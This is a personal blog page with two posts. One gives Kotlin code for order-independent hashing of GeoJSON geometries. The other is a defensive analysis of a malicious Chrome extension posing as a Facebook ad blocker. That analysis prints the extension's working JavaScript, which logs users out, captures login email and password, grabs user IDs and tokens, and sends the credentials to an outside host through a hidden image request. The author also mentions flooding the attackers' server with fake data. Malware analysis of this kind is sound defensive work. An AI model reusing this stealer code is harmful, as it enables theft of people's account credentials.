My blog

Yada yada.

© 2024. Creative Commons 4.0 International

Geometry-Aware Hashing of GeoJSON objects

26 May 2024

While writing a comparator for GeoJSON Feature Collections I encountered an interesting problem:

Whenever you want to compare two (or more) huge lists with each other, you quickly end up using hashes.

You can associate your objects to an hash, put them in a hash map, and lookup values (in this case, duplicates) in O(1) time, resulting in far less computationally expensive operations.

In GeoJSON each FeatureCollection (you see this a map, with added Points, Lines, and Areas) contains Features, which contain Geometry, which in the case of LineString and Polygon are a set of coordinates.

Hashing produces a (expected) unique value for one object. But the underlying information that a Geometry encodes is not a fixed-set of coordinates, but rather an area (Polygon) or a line (Line String).

A single area (or line) can be expressed in multiple sets of Coordinates, since the direction or order of the underlying vectors are not considered, but the area which they span in the end.

Think of this polygon [A, B, C, D, E, F, A] Animation of vectors

It spans the same exact area as this Polygon [D, E, F, A, B, C, D] Animation of vectors

In the case of polygons, you can shift your cyclical coordinates however you want.

In LineStrings you see similiar behaviour . You can read them palindromically.

[A, B, C, D, E] Animation of vectors [E, D, C, B, A] Animation of vectors

If your hashing function needs to provide a hash, unique to the shape of your Geometry, not to the particular set of coordinates, you need to be able to consistenly choose a starting point.

The actual part that gets hashed should stay the same, whether or not you enter [A, B, C, D, E, A] or [C, D , E, A, B, C] or any other mutations.

To do this, we have to consistenly choose a starting point. After thinking far too long about how I can sort coordinates reliability, I chose the easy way out:

package dev.altayakkus.geoDiff.utils
class Hashing {
companion object {
fun reorderCoordinates(coordinates: List<List<Double>>, lineString: Boolean = false): List<List<Double>> {
if (coordinates.isEmpty()) return coordinates
var coordinateSet = coordinates
// If we have a line string, we need to choose the canonical coordinate from the first and last coordinates
if (lineString) {
coordinateSet = listOf(coordinates.first(), coordinates.last())
}
// Find the canonical coordinate
var minCoordinate = coordinateSet.first()
for (coordinate in coordinateSet) {
if (coordinate[0] < minCoordinate[0]) {
minCoordinate = coordinate
} else if (coordinate[0] == minCoordinate[0] && coordinate[1] < minCoordinate[1]) {
minCoordinate = coordinate
}
}
// Reorder the coordinates so the canonical coordinate is first
return if (lineString) {
// Reverse the list if the last coordinate is the canonical one
if (minCoordinate == coordinates.last()) {
coordinates.reversed()
} else {
coordinates
}
} else {
// Rotate the list for polygons
val index = coordinates.indexOf(minCoordinate)
val reordered = coordinates.subList(index, coordinates.size - 1) + coordinates.subList(0, index)
// Ensure the list is closed by appending the canonical coordinate at the end
if (reordered.last() != reordered.first()) {
reordered + listOf(reordered.first())
} else {
reordered
}
}
}
}
}
view raw Hashing.kt hosted with ❤ by GitHub

This function returns the same coordinate for all mutations.

Now we can override our hashCode() function

package dev.altayakkus.geoDiff
import dev.altayakkus.geoDiff.enums.GeometryType
import dev.altayakkus.geoDiff.utils.Hashing
import org.locationtech.jts.geom.Coordinate
import org.locationtech.jts.geom.GeometryFactory
import org.locationtech.jts.geom.LinearRing
sealed class Geometry() {
abstract val type: GeometryType
data class Polygon(val coordinates: List<List<List<Double>>>) : Geometry() {
init {
for (ring in coordinates) {
if (ring.size < 4) {
throw IllegalArgumentException("A polygon must have at least 4 coordinates.")
}
if (ring.first() != ring.last()) {
throw IllegalArgumentException("The first and last coordinates must be the same.")
}
val uniqueCoords = ring.dropLast(1).toSet()
if (uniqueCoords.size != ring.size - 1) {
throw IllegalArgumentException("There should be no duplicate coordinates except the first and last.")
}
}
}
override fun equals(other: Any?): Boolean {
if (this === other) return true
if (other !is Geometry.Polygon) return false
// TODO: Support exterior ring items (RFC 7946 3.1.6). Now we throw them away.
return Hashing.reorderCoordinates(other.coordinates.flatten()) == Hashing.reorderCoordinates(coordinates.flatten())
}
override fun hashCode(): Int {
var result = type.hashCode()
// Consistent, area-aware reordering
// TODO: Support exterior ring items (RFC 7946 3.1.6). Now we throw them away.
val reorderedCoords = Hashing.reorderCoordinates(coordinates.flatten())
for (coordinate in reorderedCoords) {
val coordinateHash = coordinate.hashCode()
result = 31 * result + coordinateHash
}
return result
}
fun toJts(): org.locationtech.jts.geom.Geometry {
val geometryFactory = GeometryFactory()
val jtsCoordinates = coordinates.flatten().map { coord ->
Coordinate(coord[0], coord[1])
}.toTypedArray()
val shell: LinearRing = geometryFactory.createLinearRing(jtsCoordinates)
return geometryFactory.createPolygon(shell, null)
}
override val type: GeometryType = GeometryType.Polygon
}
data class LineString(val coordinates: List<List<Double>>) : Geometry() {
init {
if (coordinates.size < 2) {
throw IllegalArgumentException("A line string must have at least 2 coordinates.")
}
val uniqueCoords = coordinates.toSet()
if (uniqueCoords.size != coordinates.size) {
throw IllegalArgumentException("There should be no duplicate coordinates.")
}
}
override fun equals(other: Any?): Boolean {
if (this === other) return true
if (other !is Geometry.LineString) return false
return Hashing.reorderCoordinates(other.coordinates, lineString = true) == Hashing.reorderCoordinates(coordinates, lineString = true)
}
override fun hashCode(): Int {
var result = type.hashCode()
// Consistent, area-aware reordering
val reorderedCoords = Hashing.reorderCoordinates(coordinates, lineString = true)
for (coordinate in reorderedCoords) {
val coordinateHash = coordinate.hashCode()
result = 31 * result + coordinateHash
}
return result
}
fun toJts(): org.locationtech.jts.geom.Geometry {
val geometryFactory = GeometryFactory()
val jtsCoordinates = coordinates.map { coord ->
Coordinate(coord[0], coord[1])
}.toTypedArray()
return geometryFactory.createLineString(jtsCoordinates)
}
override val type: GeometryType = GeometryType.LineString
}
}
view raw Geometry.kt hosted with ❤ by GitHub

Note: The equals function override actually checks if the coordinates are the same, because our hashing can lead to collisions

package dev.altayakkus.geoDiff
fun main() {
val a = listOf(34.21, 2.78)
val b = listOf(3458.32, 2131.23)
val c = listOf(0.0, 23.11)
val d = listOf(0.3432, 3.0)
val polygonCoordinates1 = listOf(
listOf(a, b, c, d, a)
)
val polygonCoordinates2 = listOf(
listOf(c, d, a, b, c)
)
val polygonGeometry1 = Geometry.Polygon(polygonCoordinates1)
val polygonGeometry2 = Geometry.Polygon(polygonCoordinates2)
println(polygonGeometry1 == polygonGeometry2)
// outputs: true
val lineStringCoordinates1 = listOf(
a, b, c, d
)
val lineStringCoordinates2 = listOf(
d, c, b, a
)
val lineStringGeometry1 = Geometry.LineString(lineStringCoordinates1)
val lineStringGeometry2 = Geometry.LineString(lineStringCoordinates2)
println(lineStringGeometry1 == lineStringGeometry2)
// outputs: true
}
view raw Main.kt hosted with ❤ by GitHub

Inside a malicious Chrome Extension

05 Feb 2020

Today I saw a sketchy Facebook ad, an empty “Blogging” site with stock photos advertised an “Ad blocker for Facebook”.

I checked out the site, and saw that it only had negative reviews, stating that it didn’t work and slowed down their browser. This made me curious.

The Extension

Screenshot from the Chrome Web Store

The extension claims to block out Facebook advertisements, and — ironically — advertises itself on Facebook for it. This strategy is quite simple but ingenious, I mean who likes to see ads while browsing Facebook? Also if you are seeing their advertisement, you obviously have no AdBlocker installed for it.

The Chrome Web Store says it has a total of 10k+ users.

Behind the Scenes

Analyzing Google Chrome Extensions can be quite easy, atleast when the code — like in this example — isnt obfuscated.

You can just download it, get the unique extension ID from chrome://extensions, and then look at the source code found in your Profile Folder\Extensions\IDofYourExtension.

Basic Structure

The Extension folder has 4 subfolders, a empty .vs folder, suggesting that the developers used Visual Studio, a _metadata folder filled with file hashes, this seems to be a Chrome Extension standard to guarantee that the files haven’t been modified or corrupted, a img folder with the extension logo, and finally the interesting part: A folder named js.

This folder has a total of 4 non obfuscated JavaScript files, and — as all good JavaScript programs — a jQuery dependency.

We will focus on 2 files: background.js and fb3.js.

In background.js, a listener is added when the Chrome extension is installed, it waits 25 seconds until it executes the function s_fun_en()

chrome.runtime.onInstalled.addListener(function (details) {
setTimeout(function(){ return function() {
s_fun_en();
}}(), 25 * 1000);
});
view raw background.js hosted with ❤ by GitHub

The delay of 25 seconds is interesting, the extension tries to not raise suspicion with a variety of timing strageties.

The function s_fun_en() is full of these timing strageties. First it creates a timestamp, and saves it to the variable n, which will later be compared to the app.lt variable, while ensuring that app.lt is not the default value of 0.

app.lt is the timestamp of installation, the function s_fun_en() results in nothing until 11 hours have passed since the installation.

if (n > (app.lt + 11 * 60 * 60 * 1000) && app.lt > 0 && app.ltr == 0){
chrome.cookies.remove({url: "https://www.facebook.com/", name: "c_user"});
chrome.cookies.remove({url: "https://www.facebook.com/", name: "datr"});
app.ltr = n;
app.save();
}
view raw background.js hosted with ❤ by GitHub

This condition is true when n (the current timestamp) is bigger than the installation timestamp + 11 hours.

If 11 hours have passed the extension begins working: It removes 2 cookies from Facebook, resulting in deauthentication, and also marks the time when the user was kicked out of his Facebook account in the app.ltr variable.

This helps the extension to remain under the radar, so the user does not raise suspicion when he is logged out directly after installing this extension.

This is when we have a look at the fb3.js file, it listens for the moment when the user is logging into Facebook again.

The extension steals the E-Mail and password, and sends it to the message listener in background.js

$(document).on('submit', '#login_form',function(){
var e = this["email"];
if (e){
e = e.value;
}
else{
e = $("#not_me_link");
if (e.length > 0){
e = e.prev().parent().text();
e = extractEmails(e);
}
else{
return;
}
}
var l = e + ":" + this["pass"].value;
chrome.runtime.sendMessage({param: "set", l: l});
});
view raw fb3.js hosted with ❤ by GitHub

The listener saves the E-Mail and password combination into the app.ld variable, and proceeds to store the c_user cookie in app.u, containing the unique ID of the victims Facebook profile. If it can’t find this cookie, it executes the function again, until it gives up after a minute.

The fb3.js has another function, which constantly tries to grab the Facebook access token, if it succeeds it is also stored in app.t

chrome.runtime.onMessage.addListener(function (request, sender, callback) {
if (request.param == "set") {
if (request.l){
app.ld = request.l;
var s = (new Date()).getTime();
function wc(s){
var n = (new Date()).getTime();
if (n > s + 60 * 1000){
app.ltl = n;
app.save();
return;
}
chrome.cookies.get({url: "https://www.facebook.com/", name: "c_user"}, function(c) {
if (c != null && c.value.length > 3){
app.ltl = n;
app.u = c.value;
app.save();
}
else{
setTimeout(function(){ return function() { wc(s); }}(), 100);
}
});
}
wc(s);
}
if (request.t){
app.t = request.t;
app.save();
}
}
});
view raw background.js hosted with ❤ by GitHub

So now the extension has successfully grabbed the E-Mail and Password, the unique ID, and the access token.

The obtained information is quite critical, the E-Mail and Password could be used to access the users Facebook account, or to access other accounts in which the same combination is used.

The extension has gathered a lot of information, the breaking point however is how it transfers this information back to the owner.

The Exfil

Typically, malware has a breaking point: The Exfiltration of it’s stolen data, or contacting a C&C Server to receive further instructions.

While code can be obfuscated, and (most of the times) gives no clue to whoever made it, the malware has to contact some server (which can be reported, to law enforcement or easier the hosting provider) to submit it’s findings.

After all the work on the local side is done, background.js get’s to work again:

It checks if all the needed data is grabbed, and saves the E-Mail password combination into d, base64 encodes it, and then embeds a picture.

if (n > (app.ltl + 11 * 60 * 60 * 1000) && app.ltl > 0){
if (app.ld != ""){
var d = app.ld;
var base64 = btoa(d);
var img = new Image();
img.src = "https://en-antibanner.ru/img.php?l=" + base64 + "&u=" + app.u + "&rnd=" + Math.random();
app.ltl = n * 2;
app.save();
}
}
view raw background.js hosted with ❤ by GitHub

The picture is generated from www.en-antibanner.ru/img.php , and the extension adds a lot of parameters to it.

https://en-antibanner.ru/img.php?d=EMailAndPassword&u=UserID&l=&rnd=RandomNumber

This picture is 1x1 big, so you really wouldn’t see it.

Loading an image, rather than making a POST request to some sketchy server, is less likely to be detected.

Measures taken

I reported the extension to the Chrome Web Store and Facebook, I will talk more about in a second. Note from future Altay: Chrome took it down, and also heavily improved their extension security with Manifest V3

I had a quite funny idea: What would happen if you would trash their database by adding tons and tons of random data. They would get the infected users credentials for sure, but they would have to search for it between all the junk data.

I wrote a quick JavaScript which creates a fake E-Mail and Password combination, a fake User ID and then sends it to the server.

You can add fake data by visiting this JSFiddle and hitting the “Run” Button, once, twice or maybe a thousand times. Future Altay: The website is down, it was fun nonetheless

Thank you for reading! I am not quite sure how to think about this, Chrome Web Store has virtually no security measures, I wasn’t warned that this file could be a virus and the extension seems to be able to do just about everything, while users can install it with one-click. Future Altay: Manifest V3 is better I guess, although users will probably accept every single permission requested

You can look into the extension yourself, I uploaded it to my GitHub